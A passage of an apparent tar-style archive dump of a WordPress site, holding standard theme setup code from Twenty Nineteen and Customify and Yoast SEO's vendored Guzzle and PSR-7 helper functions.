* If you're building a theme based on Twenty Nineteen, use a find and replace
* to change 'twentynineteen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentynineteen', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1568, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'menu-1' => __( 'Primary', 'twentynineteen' ),
'footer' => __( 'Footer Menu', 'twentynineteen' ),
'social' => __( 'Social Links Menu', 'twentynineteen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support(
'custom-logo',
array(
'height' => 190,
'width' => 190,
'flex-width' => false,
'flex-height' => false,
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for full and wide align images.
add_theme_support( 'align-wide' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
// Enqueue editor styles.
add_editor_style( 'style-editor.css' );
// Add custom editor font sizes.
add_theme_support(
'editor-font-sizes',
array(
array(
'name' => __( 'Small', 'twentynineteen' ),
'shortName' => __( 'S', 'twentynineteen' ),
'size' => 19.5,
'slug' => 'small',
),
array(
'name' => __( 'Normal', 'twentynineteen' ),
'shortName' => __( 'M', 'twentynineteen' ),
'size' => 22,
'slug' => 'normal',
),
array(
'name' => __( 'Large', 'twentynineteen' ),
'shortName' => __( 'L', 'twentynineteen' ),
'size' => 36.5,
'slug' => 'large',
),
array(
'name' => __( 'Huge', 'twentynineteen' ),
'shortName' => __( 'XL', 'twentynineteen' ),
'size' => 49.5,
'slug' => 'huge',
),
)
);
// Editor color palette.
add_theme_support(
'editor-color-palette',
array(
array(
'name' => __( 'Primary', 'twentynineteen' ),
'slug' => 'primary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
),
array(
'name' => __( 'Secondary', 'twentynineteen' ),
'slug' => 'secondary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
),
array(
'name' => __( 'Dark Gray', 'twentynineteen' ),
'slug' => 'dark-gray',
'color' => '#111',
),
array(
'name' => __( 'Light Gray', 'twentynineteen' ),
'slug' => 'light-gray',
'color' => '#767676',
),
array(
'name' => __( 'White', 'twentynineteen' ),
'slug' => 'white',
'color' => '#FFF',
),
)
);
// Add support for responsive embedded content.
add_theme_support( 'responsive-embeds' );
}
endif;
add_action( 'after_setup_theme', 'twentynineteen_setup' );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentynineteen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Footer', 'twentynineteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentynineteen_widgets_init' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width Content width.
*/
function twentynineteen_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
}
add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );
/**
* Enqueue scripts and styles.
*/
function twentynineteen_scripts() {
wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );
wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );
if ( has_nav_menu( 'menu-1' ) ) {
wp_enqueue_script( 'twentynineteen-priority-menu', get_theme_file_uri( '/js/priority-menu.js' ), array(), '1.0', true );
wp_enqueue_script( 'twentynineteen-touch-navigation', get_theme_file_uri( '/js/touch-keyboard-navigation.js' ), array(), '1.0', true );
}
wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );
/**
* Fix skip link focus in IE11.
*
* This does not enqueue the script because it is tiny and because it is only for IE11,
* thus it does not warrant having an entire dedicated blocking script being loaded.
*
* @link https://git.io/vWdr2
*/
function twentynineteen_skip_link_focus_fix() {
// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
?>
<script>
/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
</script>
<?php
}
add_action( 'wp_print_footer_scripts', 'twentynineteen_skip_link_focus_fix' );
/**
* Enqueue supplemental block editor styles.
*/
function twentynineteen_editor_customizer_styles() {
wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '1.0', 'all' );
if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
// Include color patterns.
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
}
}
add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );
/**
* Display custom color CSS in customizer and on frontend.
*/
function twentynineteen_colors_css_wrap() {
// Only include custom colors in customizer or frontend.
if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
return;
}
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
$primary_color = 199;
if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
$primary_color = get_theme_mod( 'primary_color_hue', 199 );
}
?>
<style type="text/css" id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
<?php echo twentynineteen_custom_colors_css(); ?>
</style>
<?php
}
add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );
/**
* SVG Icons class.
*/
require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';
/**
* Custom Comment Walker template.
*/
require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';
/**
* Enhance the theme by hooking into WordPress.
*/
require get_template_directory() . '/inc/template-functions.php';
/**
* SVG Icons related functions.
*/
require get_template_directory() . '/inc/icon-functions.php';
/**
* Custom template tags for the theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
home/xbodynamge/lebauwcentre/wp-content/themes/customify/functions.php 0000644 00000004312 15114373142 0022440 0 ustar 00 <?php
/**
* Customify functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package customify
*/
/**
* Same the hook `the_content`
*
* @TODO: do not effect content by plugins
*
* 8 WP_Embed:run_shortcode
* 8 WP_Embed:autoembed
* 10 wptexturize
* 10 wpautop
* 10 shortcode_unautop
* 10 prepend_attachment
* 10 wp_make_content_images_responsive
* 11 capital_P_dangit
* 11 do_shortcode
* 20 convert_smilies
*/
global $wp_embed;
add_filter( 'customify_the_content', array( $wp_embed, 'run_shortcode' ), 8 );
add_filter( 'customify_the_content', array( $wp_embed, 'autoembed' ), 8 );
add_filter( 'customify_the_content', 'wptexturize' );
add_filter( 'customify_the_content', 'wpautop' );
add_filter( 'customify_the_content', 'shortcode_unautop' );
add_filter( 'customify_the_content', 'wp_make_content_images_responsive' );
add_filter( 'customify_the_content', 'capital_P_dangit' );
add_filter( 'customify_the_content', 'do_shortcode' );
add_filter( 'customify_the_content', 'convert_smilies' );
/**
* Same the hook `the_content` but not auto P
*
* @TODO: do not effect content by plugins
*
* 8 WP_Embed:run_shortcode
* 8 WP_Embed:autoembed
* 10 wptexturize
* 10 shortcode_unautop
* 10 prepend_attachment
* 10 wp_make_content_images_responsive
* 11 capital_P_dangit
* 11 do_shortcode
* 20 convert_smilies
*/
add_filter( 'customify_the_title', array( $wp_embed, 'run_shortcode' ), 8 );
add_filter( 'customify_the_title', array( $wp_embed, 'autoembed' ), 8 );
add_filter( 'customify_the_title', 'wptexturize' );
add_filter( 'customify_the_title', 'shortcode_unautop' );
add_filter( 'customify_the_title', 'wp_make_content_images_responsive' );
add_filter( 'customify_the_title', 'capital_P_dangit' );
add_filter( 'customify_the_title', 'do_shortcode' );
add_filter( 'customify_the_title', 'convert_smilies' );
// Include the main Customify class.
require_once get_template_directory() . '/inc/class-customify.php';
/**
* Main instance of Customify.
*
* Returns the main instance of Customify.
*
* @return Customify
*/
function Customify() {
// phpc:ignore WordPress.NamingConventions.ValidFunctionName.
return Customify::get_instance();
}
Customify();
namtation/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/functions.php 0000644 00000024120 15114414732 0032373 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\Proxy;
use YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler;
/**
* Expands a URI template
*
* @param string $template URI template
* @param array $variables Template variables
*
* @return string
*/
function uri_template($template, array $variables)
{
if (\extension_loaded('uri_template')) {
// @codeCoverageIgnoreStart
return \YoastSEO_Vendor\uri_template($template, $variables);
// @codeCoverageIgnoreEnd
}
static $uriTemplate;
if (!$uriTemplate) {
$uriTemplate = new \YoastSEO_Vendor\GuzzleHttp\UriTemplate();
}
return $uriTemplate->expand($template, $variables);
}
/**
* Debug function used to describe the provided value type and class.
*
* @param mixed $input
*
* @return string Returns a string containing the type of the variable and
* if a class is provided, the class name.
*/
function describe_type($input)
{
switch (\gettype($input)) {
case 'object':
return 'object(' . \get_class($input) . ')';
case 'array':
return 'array(' . \count($input) . ')';
default:
\ob_start();
\var_dump($input);
// normalize float vs double
return \str_replace('double(', 'float(', \rtrim(\ob_get_clean()));
}
}
/**
* Parses an array of header lines into an associative array of headers.
*
* @param iterable $lines Header lines array of strings in the following
* format: "Name: Value"
* @return array
*/
function headers_from_lines($lines)
{
$headers = [];
foreach ($lines as $line) {
$parts = \explode(':', $line, 2);
$headers[\trim($parts[0])][] = isset($parts[1]) ? \trim($parts[1]) : null;
}
return $headers;
}
/**
* Returns a debug stream based on the provided variable.
*
* @param mixed $value Optional value
*
* @return resource
*/
function debug_resource($value = null)
{
if (\is_resource($value)) {
return $value;
} elseif (\defined('STDOUT')) {
return \STDOUT;
}
return \fopen('php://output', 'w');
}
/**
* Chooses and creates a default handler to use based on the environment.
*
* The returned handler is not wrapped by any default middlewares.
*
* @return callable Returns the best handler for the given system.
* @throws \RuntimeException if no viable Handler is available.
*/
function choose_handler()
{
$handler = null;
if (\function_exists('curl_multi_exec') && \function_exists('curl_exec')) {
$handler = \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapSync(new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler(), new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler());
} elseif (\function_exists('curl_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler();
} elseif (\function_exists('curl_multi_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler();
}
if (\ini_get('allow_url_fopen')) {
$handler = $handler ? \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapStreaming($handler, new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler()) : new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler();
} elseif (!$handler) {
throw new \RuntimeException('GuzzleHttp requires cURL, the ' . 'allow_url_fopen ini setting, or a custom HTTP handler.');
}
return $handler;
}
/**
* Get the default User-Agent string to use with Guzzle
*
* @return string
*/
function default_user_agent()
{
static $defaultAgent = '';
if (!$defaultAgent) {
$defaultAgent = 'GuzzleHttp/' . \YoastSEO_Vendor\GuzzleHttp\Client::VERSION;
if (\extension_loaded('curl') && \function_exists('curl_version')) {
$defaultAgent .= ' curl/' . \curl_version()['version'];
}
$defaultAgent .= ' PHP/' . \PHP_VERSION;
}
return $defaultAgent;
}
/**
* Returns the default cacert bundle for the current system.
*
* First, the openssl.cafile and curl.cainfo php.ini settings are checked.
* If those settings are not configured, then the common locations for
* bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
* and Windows are checked. If any of these file locations are found on
* disk, they will be utilized.
*
* Note: the result of this function is cached for subsequent calls.
*
* @return string
* @throws \RuntimeException if no bundle can be found.
*/
function default_ca_bundle()
{
static $cached = null;
static $cafiles = [
// Red Hat, CentOS, Fedora (provided by the ca-certificates package)
'/etc/pki/tls/certs/ca-bundle.crt',
// Ubuntu, Debian (provided by the ca-certificates package)
'/etc/ssl/certs/ca-certificates.crt',
// FreeBSD (provided by the ca_root_nss package)
'/usr/local/share/certs/ca-root-nss.crt',
// SLES 12 (provided by the ca-certificates package)
'/var/lib/ca-certificates/ca-bundle.pem',
// OS X provided by homebrew (using the default path)
'/usr/local/etc/openssl/cert.pem',
// Google app engine
'/etc/ca-certificates.crt',
// Windows?
'C:\\windows\\system32\\curl-ca-bundle.crt',
'C:\\windows\\curl-ca-bundle.crt',
];
if ($cached) {
return $cached;
}
if ($ca = \ini_get('openssl.cafile')) {
return $cached = $ca;
}
if ($ca = \ini_get('curl.cainfo')) {
return $cached = $ca;
}
foreach ($cafiles as $filename) {
if (\file_exists($filename)) {
return $cached = $filename;
}
}
throw new \RuntimeException(<<<EOT
No system CA bundle could be found in any of the the common system locations.
PHP versions earlier than 5.6 are not properly configured to use the system's
CA bundle by default. In order to verify peer certificates, you will need to
supply the path on disk to a certificate bundle to the 'verify' request
option: http://docs.guzzlephp.org/en/latest/clients.html#verify. If you do not
need a specific certificate bundle, then Mozilla provides a commonly used CA
bundle which can be downloaded here (provided by the maintainer of cURL):
https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt. Once
you have a CA bundle available on disk, you can set the 'openssl.cafile' PHP
ini setting to point to the path to the file, allowing you to omit the 'verify'
request option. See http://curl.haxx.se/docs/sslcerts.html for more
information.
EOT
);
}
/**
* Creates an associative array of lowercase header names to the actual
* header casing.
*
* @param array $headers
*
* @return array
*/
function normalize_header_keys(array $headers)
{
$result = [];
foreach (\array_keys($headers) as $key) {
$result[\strtolower($key)] = $key;
}
return $result;
}
/**
* Returns true if the provided host matches any of the no proxy areas.
*
* This method will strip a port from the host if it is present. Each pattern
* can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
* partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
* "baz.foo.com", but ".foo.com" != "foo.com").
*
* Areas are matched in the following cases:
* 1. "*" (without quotes) always matches any hosts.
* 2. An exact match.
* 3. The area starts with "." and the area is the last part of the host. e.g.
* '.mit.edu' will match any host that ends with '.mit.edu'.
*
* @param string $host Host to check against the patterns.
* @param array $noProxyArray An array of host patterns.
*
* @return bool
*/
function is_host_in_noproxy($host, array $noProxyArray)
{
if (\strlen($host) === 0) {
throw new \InvalidArgumentException('Empty host provided');
}
// Strip port if present.
if (\strpos($host, ':')) {
$host = \explode($host, ':', 2)[0];
}
foreach ($noProxyArray as $area) {
// Always match on wildcards.
if ($area === '*') {
return \true;
} elseif (empty($area)) {
// Don't match on empty values.
continue;
} elseif ($area === $host) {
// Exact matches.
return \true;
} else {
// Special match if the area when prefixed with ".". Remove any
// existing leading "." and add a new leading ".".
$area = '.' . \ltrim($area, '.');
if (\substr($host, -\strlen($area)) === $area) {
return \true;
}
}
}
return \false;
}
/**
* Wrapper for json_decode that throws when an error occurs.
*
* @param string $json JSON data to parse
* @param bool $assoc When true, returned objects will be converted
* into associative arrays.
* @param int $depth User specified recursion depth.
* @param int $options Bitmask of JSON decode options.
*
* @return mixed
* @throws Exception\InvalidArgumentException if the JSON cannot be decoded.
* @link http://www.php.net/manual/en/function.json-decode.php
*/
function json_decode($json, $assoc = \false, $depth = 512, $options = 0)
{
$data = \json_decode($json, $assoc, $depth, $options);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_decode error: ' . \json_last_error_msg());
}
return $data;
}
/**
* Wrapper for JSON encoding that throws when an error occurs.
*
* @param mixed $value The value being encoded
* @param int $options JSON encode option bitmask
* @param int $depth Set the maximum depth. Must be greater than zero.
*
* @return string
* @throws Exception\InvalidArgumentException if the JSON cannot be encoded.
* @link http://www.php.net/manual/en/function.json-encode.php
*/
function json_encode($value, $options = 0, $depth = 512)
{
$json = \json_encode($value, $options, $depth);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_encode error: ' . \json_last_error_msg());
}
return $json;
}
namtation/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/functions.php 0000644 00000034246 15114415730 0031757 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;
use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
* Returns the string representation of an HTTP message.
*
* @param MessageInterface $message Message to convert to a string.
*
* @return string
*
* @deprecated str will be removed in guzzlehttp/psr7:2.0. Use Message::toString instead.
*/
function str(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($message);
}
/**
* Returns a UriInterface for the given value.
*
* This function accepts a string or UriInterface and returns a
* UriInterface for the given value. If the value is already a
* UriInterface, it is returned as-is.
*
* @param string|UriInterface $uri
*
* @return UriInterface
*
* @throws \InvalidArgumentException
*
* @deprecated uri_for will be removed in guzzlehttp/psr7:2.0. Use Utils::uriFor instead.
*/
function uri_for($uri)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($uri);
}
/**
* Create a new stream based on the input type.
*
* Options is an associative array that can contain the following keys:
* - metadata: Array of custom metadata.
* - size: Size of the stream.
*
* This method accepts the following `$resource` types:
* - `Psr\Http\Message\StreamInterface`: Returns the value as-is.
* - `string`: Creates a stream object that uses the given string as the contents.
* - `resource`: Creates a stream object that wraps the given PHP stream resource.
* - `Iterator`: If the provided value implements `Iterator`, then a read-only
* stream object will be created that wraps the given iterable. Each time the
* stream is read from, data from the iterator will fill a buffer and will be
* continuously called until the buffer is equal to the requested read size.
* Subsequent read calls will first read from the buffer and then call `next`
* on the underlying iterator until it is exhausted.
* - `object` with `__toString()`: If the object has the `__toString()` method,
* the object will be cast to a string and then a stream will be returned that
* uses the string value.
* - `NULL`: When `null` is passed, an empty stream object is returned.
* - `callable` When a callable is passed, a read-only stream object will be
* created that invokes the given callable. The callable is invoked with the
* number of suggested bytes to read. The callable can return any number of
* bytes, but MUST return `false` when there is no more data to return. The
* stream object that wraps the callable will invoke the callable until the
* number of requested bytes are available. Any additional bytes will be
* buffered and used in subsequent reads.
*
* @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data
* @param array $options Additional options
*
* @return StreamInterface
*
* @throws \InvalidArgumentException if the $resource arg is not valid.
*
* @deprecated stream_for will be removed in guzzlehttp/psr7:2.0. Use Utils::streamFor instead.
*/
function stream_for($resource = '', array $options = [])
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource, $options);
}
/**
* Parse an array of header values containing ";" separated data into an
* array of associative arrays representing the header key value pair data
* of the header. When a parameter does not contain a value, but just
* contains a key, this function will inject a key with a '' string value.
*
* @param string|array $header Header to parse into components.
*
* @return array Returns the parsed header values.
*
* @deprecated parse_header will be removed in guzzlehttp/psr7:2.0. Use Header::parse instead.
*/
function parse_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::parse($header);
}
/**
* Converts an array of header values that may contain comma separated
* headers into an array of headers with no comma separated values.
*
* @param string|array $header Header to normalize.
*
* @return array Returns the normalized header field values.
*
* @deprecated normalize_header will be removed in guzzlehttp/psr7:2.0. Use Header::normalize instead.
*/
function normalize_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::normalize($header);
}
/**
* Clone and modify a request with the given changes.
*
* This method is useful for reducing the number of clones needed to mutate a
* message.
*
* The changes can be one of:
* - method: (string) Changes the HTTP method.
* - set_headers: (array) Sets the given headers.
* - remove_headers: (array) Remove the given headers.
* - body: (mixed) Sets the given body.
* - uri: (UriInterface) Set the URI.
* - query: (string) Set the query string value of the URI.
* - version: (string) Set the protocol version.
*
* @param RequestInterface $request Request to clone and modify.
* @param array $changes Changes to apply.
*
* @return RequestInterface
*
* @deprecated modify_request will be removed in guzzlehttp/psr7:2.0. Use Utils::modifyRequest instead.
*/
function modify_request(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $changes)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $changes);
}
/**
* Attempts to rewind a message body and throws an exception on failure.
*
* The body of the message will only be rewound if a call to `tell()` returns a
* value other than `0`.
*
* @param MessageInterface $message Message to rewind
*
* @throws \RuntimeException
*
* @deprecated rewind_body will be removed in guzzlehttp/psr7:2.0. Use Message::rewindBody instead.
*/
function rewind_body(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
\YoastSEO_Vendor\GuzzleHttp\Psr7\Message::rewindBody($message);
}
/**
* Safely opens a PHP stream resource using a filename.
*
* When fopen fails, PHP normally raises a warning. This function adds an
* error handler that checks for errors and throws an exception instead.
*
* @param string $filename File to open
* @param string $mode Mode used to open the file
*
* @return resource
*
* @throws \RuntimeException if the file cannot be opened
*
* @deprecated try_fopen will be removed in guzzlehttp/psr7:2.0. Use Utils::tryFopen instead.
*/
function try_fopen($filename, $mode)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($filename, $mode);
}
/**
* Copy the contents of a stream into a string until the given number of
* bytes have been read.
*
* @param StreamInterface $stream Stream to read
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @return string
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_string will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToString instead.
*/
function copy_to_string(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($stream, $maxLen);
}
/**
* Copy the contents of a stream into another stream until the given number
* of bytes have been read.
*
* @param StreamInterface $source Stream to read from
* @param StreamInterface $dest Stream to write to
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_stream will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToStream instead.
*/
function copy_to_stream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $dest, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($source, $dest, $maxLen);
}
/**
* Calculate a hash of a stream.
*
* This method reads the entire stream to calculate a rolling hash, based on
* PHP's `hash_init` functions.
*
* @param StreamInterface $stream Stream to calculate the hash for
* @param string $algo Hash algorithm (e.g. md5, crc32, etc)
* @param bool $rawOutput Whether or not to use raw output
*
* @return string Returns the hash of the stream
*
* @throws \RuntimeException on error.
*
* @deprecated hash will be removed in guzzlehttp/psr7:2.0. Use Utils::hash instead.
*/
function hash(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $algo, $rawOutput = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::hash($stream, $algo, $rawOutput);
}
/**
* Read a line from the stream up to the maximum allowed buffer length.
*
* @param StreamInterface $stream Stream to read from
* @param int|null $maxLength Maximum buffer length
*
* @return string
*
* @deprecated readline will be removed in guzzlehttp/psr7:2.0. Use Utils::readLine instead.
*/
function readline(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLength = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::readLine($stream, $maxLength);
}
/**
* Parses a request message string into a request object.
*
* @param string $message Request message string.
*
* @return Request
*
* @deprecated parse_request will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequest instead.
*/
function parse_request($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequest($message);
}
/**
* Parses a response message string into a response object.
*
* @param string $message Response message string.
*
* @return Response
*
* @deprecated parse_response will be removed in guzzlehttp/psr7:2.0. Use Message::parseResponse instead.
*/
function parse_response($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseResponse($message);
}
/**
* Parse a query string into an associative array.
*
* If multiple values are found for the same key, the value of that key value
* pair will become an array. This function does not parse nested PHP style
* arrays into an associative array (e.g., `foo[a]=1&foo[b]=2` will be parsed
* into `['foo[a]' => '1', 'foo[b]' => '2'])`.
*
* @param string $str Query string to parse
* @param int|bool $urlEncoding How the query string is encoded
*
* @return array
*
* @deprecated parse_query will be removed in guzzlehttp/psr7:2.0. Use Query::parse instead.
*/
function parse_query($str, $urlEncoding = \true)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::parse($str, $urlEncoding);
}
/**
* Build a query string from an array of key value pairs.
*
* This function can use the return value of `parse_query()` to build a query
* string. This function does not modify the provided keys when an array is
* encountered (like `http_build_query()` would).
*
* @param array $params Query string parameters.
* @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986
* to encode using RFC3986, or PHP_QUERY_RFC1738
* to encode using RFC1738.
*
* @return string
*
* @deprecated build_query will be removed in guzzlehttp/psr7:2.0. Use Query::build instead.
*/
function build_query(array $params, $encoding = \PHP_QUERY_RFC3986)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::build($params, $encoding);
}
/**
* Determines the mimetype of a file by looking at its extension.
*
* @param string $filename
*
* @return string|null
*
* @deprecated mimetype_from_filename will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromFilename instead.
*/
function mimetype_from_filename($filename)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($filename);
}
/**
* Maps a file extensions to a mimetype.
*
* @param $extension string The file extension.
*
* @return string|null
*
* @link http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types
* @deprecated mimetype_from_extension will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromExtension instead.
*/
function mimetype_from_extension($extension)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromExtension($extension);
}
/**
* Parses an HTTP message into an associative array.
*
* The array contains the "start-line" key containing the start line of
* the message, "headers" key containing an associative array of header
* array values, and a "body" key containing the body of the message.
*
* @param string $message HTTP request or response to parse.
*
* @return array
*
* @internal
*
* @deprecated _parse_message will be removed in guzzlehttp/psr7:2.0. Use Message::parseMessage instead.
*/
function _parse_message($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseMessage($message);
}
/**
* Constructs a URI for an HTTP request message.
*
* @param string $path Path from the start-line
* @param array $headers Array of headers (each value an array).
*
* @return string
*
* @internal
*
* @deprecated _parse_request_uri will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequestUri instead.
*/
function _parse_request_uri($path, array $headers)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequestUri($path, $headers);
}
/**
* Get a short summary of the message body.
*
* Will return `null` if the response is not printable.
*
* @param MessageInterface $message The message to get the body summary
* @param int $truncateAt The maximum allowed size of the summary
*
* @return string|null
*
* @deprecated get_message_body_summary will be removed in guzzlehttp/psr7:2.0. Use Message::bodySummary instead.
*/
function get_message_body_summary(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message, $truncateAt = 120)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message, $truncateAt);
}
/**
* Remove the items given by the keys, case insensitively from the data.
*
* @param iterable<string> $keys
*
* @return array
*
* @internal
*
* @deprecated _caseless_remove will be removed in guzzlehttp/psr7:2.0. Use Utils::caselessRemove instead.
*/
function _caseless_remove($keys, array $data)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove($keys, $data);
}
